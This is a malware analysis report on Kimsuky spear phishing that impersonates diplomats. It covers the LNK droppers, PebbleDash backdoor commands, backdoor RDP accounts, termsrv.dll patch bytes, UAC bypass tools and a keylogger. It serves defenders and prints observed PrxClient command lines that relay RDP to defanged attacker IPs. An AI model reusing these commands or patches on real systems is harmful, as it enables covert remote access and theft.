Attack Cases by the Kimsuky Group Impersonating Diplomats (PebbleDash, PrxClient)
AhnLab SEcurity intelligence Center (ASEC) previously disclosed an attack case in which the Kimsuky group used spear phishing attacks to install the PebbleDash malware in a post titled “Analysis of the Kimsuky Group’s Latest Attacks Exploiting PebbleDash and RDP Wrapper” [1]. The same threat actors have continued their activities in 2026 and have recently been conducting spear phishing attacks by impersonating diplomatic personnel. These spear phishing attacks utilize LNK malware to install various tools, including the PebbleDash backdoor, the PrxClient proxy malware, RDP Wrapper, UACMe, and KeyLogger. The decoy document files created during the attack process contain diplomatic-related content.
Figure 1. Decoy files used in the attack
1. Attack Case
1.1. Case Study – 1
In the first attack case, the decoy document files, LNK files, and PowerShell scripts presumed to have been used by the threat actor were uploaded to GitHub. The LNK malware “vvn.31.Pdf…………………………………………………………………………………………..Lnk” is executed, it executes the PowerShell script through the following command. This script acts as a dropper, installing malware responsible for the downloader function at the path “%PUBLIC%Downloads\DefenderUpdate.Js.”
“DefenderUpdate.Js” acts as a downloader, connecting to the C&C server to download and execute additional payloads. Note that in this attack case, there is also a command that downloads and executes “capture.Ps1”; this command reads files stored locally and transmits them to the C&C server. It appears that after executing the command responsible for information gathering, the attacker used “capture.Ps1” to exfiltrate the collected information.
Figure 2. Downloader and Uploader Scripts
1.2. Case Study 2
The second attack case also used an LNK file, which was distributed under the names “D.21 SEOUL.Lnk” and “AIE NO. 178 SEOUL.Lnk.” When the malware file used in the attack is executed, it launches Mshta with itself as an argument. Since a malicious script in HTA format is embedded within the file, the malicious routine is executed via Mshta.
Figure 3. Malicious HTA script contained within the LNK file
The script executed through Mshta acts as a dropper; it creates “%APPDATA%\Microsoft\Windows\Templates\Templates.Js,” which serves as the launcher, and “%APPDATA%\Microsoft\Windows\Templates\Templates.Ps1,” which the launcher executes, and registers them as a task named “Windows Templates Update.” Once this process is complete, it displays a decoy file.
2. Additional Payload
2.1. Remote Control
2.1.1. PebbleDash
The threat actor then installed PebbleDash to gain control over the infected system. Two main types of PebbleDash were used: an early type that operates by checking arguments, and a type where configuration data is stored in the registry. When the first type is executed with the argument “QCvt5676hZXbg,” it proceeds with the installation process: it creates a “system32” folder on the same Path, copies itself into it under the name “smss.Exe,” and then executes itself with the argument “mJnZzaCN2RnFG.” When executed with the argument “mJnZzaCN2RnFG,” it connects to the C&C server and can perform malicious behavior based on the commands received.
The C&C communication method and supported commands of PebbleDash used in the attack are as follows.
| URL Format | Function |
|---|---|
| Page=<Random>&mode=<ConfigID>&DATA=<SessionID> | Initial Registration |
| Page=1&mode=<SessionID>2 | Command Download |
| Page=2&mode=<SessionID>&DATA=<EncData> | Result Transmission |
Table 1. URL Format for C&C Communication
| Command Code | Function |
|---|---|
| 0X09 | Transmit drive information |
| 0X0A | Terminate Process |
| 0X0B | File Download |
| 0X0C | Delete file |
| 0X0D | Wipe File |
| 0X0E | Transmit System Information |
| 0X0F | Transmit process information |
| 0X10 | Command execution and results transmission |
| 0X11 | Command Execution and Result Transmission – 2 |
| 0X12 | File Move |
| 0X13 | File Upload |
| 0X14 | File Download |
| 0X15 | Pending |
| 0X16 | Change Wait Time |
| 0X17 | Change Current Path |
| 0X18 | Directory Lookup |
| 0X19 | Heartbeat |
| 0X1A | File Lookup |
| 0X1D | File Patch |
| 0X1E | Change file attributes |
| 0X1F | Execute a process |
| 0X23 | Transmit configuration information |
| 0X24 | Change configuration information |
| 0X25 | Connection Test |
| 0X26 | Self-Delete and Shutdown |
Table 2. List of Supported Commands
The second type is also malware that ultimately installs PebbleDash, which is essentially identical to the type discussed above. Upon execution, it requires “edcVFRtgbNHY6” as an argument; it decrypts and decompresses the configuration file contained within, writes it to a registry key, and creates an injector at the Path “%SystemDirectory%\sqliom.Dll”.
- Registry key where configuration information is stored: HKLM\SYSTEM\CurrentControlSet\Control\WMI\Security / “CC1CFAFD-D1B4-4303-8C2C-0BC4E3C54B5C”
Figure 4. C&C server string stored in the registry
The injector injects PebbleDash into the LSASS process, and PebbleDash reads the C&C server address from the registry key containing the configuration information above to communicate with the C&C server. The URL format used for communication is identical, and most of the supported commands are also the same.
2.1.2. Backdoor Accounts
In addition to PebbleDash, the threat actor appears to have used RDP to perform System Control on the infected system; to this end, they installed an RDP wrapper and created a backdoor account. In this attack case, the “rdpwrap.Bat” script was used to activate the “administrator” account and enable the RDP service; however, another backdoor account, “adminini,” was also used at times.
Figure 5. Rdpwrap.Bat malware
| Case | Account Name | Password |
|---|---|---|
| 1 | Administrator | 12********@# |
| 2 | Administrator | R8*********ca |
| 3 | Adminini | 09******21 |
Table 3. Backdoor Accounts Identified in Attack Cases
Generally, unlike servers, the Windows desktop environment supports only a single session per RDP connection. Consequently, even if another user attempts to connect, only one session is supported per system; therefore, if a threat actor remotely accesses the system, the existing user’s connection will be terminated. The threat actor also used an RDP Patcher, which reads the existing legitimate “termsrv.Dll,” saves the patched version to the “C:\temp.Dll” Path, and then replaces the “termsrv.Dll” file in the System32 directory with it. As a result, the infected system supports multiple sessions.
- Function routine for CDefPolicy::Query() in the legitimate termsrv.Dll: 39 81 3C 06 00 00 …
- CDefPolicy::Query() function routine in the patched termsrv.Dll: B8 00 01 00 00 89 81 38 06 00 00 90
2.2. Proxy
2.2.1. PrxClient
A proxy tool, presumed to have been created by a threat actor, was also used; here, it is classified as PrxClient based on the mutex name.
Figure 6. PrxClient startup routine
PrxClient acts as a relay between the C&C server passed as an argument and a local port; it is presumed that the threat actor used this to control the infected system via RDP.
| Argument Order | Function |
|---|---|
| 1 | C&C Heartbeat Port |
| 2 | C&C IP |
| 3 | C&C Port |
| 4 | Local IP |
| 5 | Local Port |
| 6 | Heartbeat Data |
Table 4. Argument Usage
Figure 7. PrxClient proxy installation log
The commands as follows were also observed in actual attack cases.
> C:\users\%ASD%\downloads\125.Tmp 6060 153.75.233[.]17 8080 127.0.0[.]2 3389 2
> C:\users\%ASD%\downloads\rpc.Exe 6060 153.75.233[.]17 8080 127.0.0[.]2 3389 1
> C:\Users\%ASD%\Documents\taskxys.Exe 6060 173.214.170[.]58 8080 127.0.0[.]2 3389 04
2.3. Privilege Escalation Tools
UAC bypass tools continue to be used in recent incidents, just as they were in previous cases. The difference from past cases is that, in addition to tools based on UACMe, another open-source PoC was also used. The SspiUacBypass [2] project is a tool that uses a technique to bypass UAC by manipulating the NTLM Datagram Context of SSPI.
Figure 8. SspiUacBypass, a UAC bypass tool
2.4. Others
Various other tools were also used in these attack cases, most notably keyloggers and downloaders. The keylogger includes a feature that stores the user’s keystrokes in the path “%TEMP%\Log.<USERNAME>.BIN” and then transmits them to the C&C server. The downloader simply executes obfuscated PowerShell commands.
Figure 9. Obfuscated PowerShell download command
As of now, the file at this address cannot be downloaded. However, instead of nwfgy.Txt, PowerShell scripts named “swas.Txt” and “sadadf.Txt” were used in other attack cases identified in the ASD logs; these scripts are responsible for executing a file named “rdpwrap_new.Bat” or upload a list of files from the System32 Path.
Figure 10. PowerShell Scripts Used in the Attack
3. Conclusion
Recently, the Kimsuky threat actors have been conducting spear phishing attacks targeting individuals working in the education sector. Since these attacks are distributed by disguising them as document files, users may download and execute the attachments thinking they are legitimate documents; in such cases, user information stored on the system could be stolen.
Users should exercise extreme caution not only with email attachments but also with executable files from unknown sources. Also, V3 should be updated to the latest version so that malware infection can be prevented.
Gain access to related IOCs and detailed analysis by subscribing to AhnLab TIP. For subscription details, click the banner below.
